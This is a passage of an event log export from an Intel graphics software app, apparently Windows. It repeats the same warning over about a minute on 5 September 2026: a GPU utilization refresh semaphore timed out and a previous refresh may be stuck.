refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:22.894\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:23.339\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:23.776\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:24.884\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:25.427\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:25.759\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:25.984\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:26.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:27.097\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:27.321\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:27.543\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:28.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:28.438\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:28.883\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:29.223\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:29.446\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:30.564\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:34.465\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:35.360\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:36.144\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:37.578\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:38.137\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:38.361\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:38.585\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:39.925\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:40.704\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:41.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:41.587\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:42.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:44.483\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:45.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:45.485\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:45.707\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:45.931\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:46.266\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:46.491\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:46.825\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:47.047\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:47.271\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:47.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:47.831\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:48.169\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:48.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:48.617\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:49.173\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:49.397\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:49.619\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:49.840\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:50.050\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:50.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:50.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:51.248\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:51.466\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:52.132\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:52.577\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:53.020\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:53.242\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:53.689\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:53.915\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:54.582\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:54.913\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:55.135\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:55.359\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:56.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:57.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:57.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:58.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:58.696\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:59.028\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:59.250\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:59.585\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.032\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.256\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.700\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.922\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:01.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:02.377\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:02.600\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:02.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:03.155\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:03.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:03.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:04.267\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:04.937\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:05.161\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:05.384\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:05.715\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:06.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:06.383\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:07.047\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:07.369\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:07.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.032\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.255\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.476\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.699\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:09.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:10.144\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:10.367\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:10.590\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:11.482\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:12.041\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:12.264\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:12.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:13.044\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:15.051\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:15.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:15.717\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:16.161\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:16.718\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:16.941\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:17.163\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 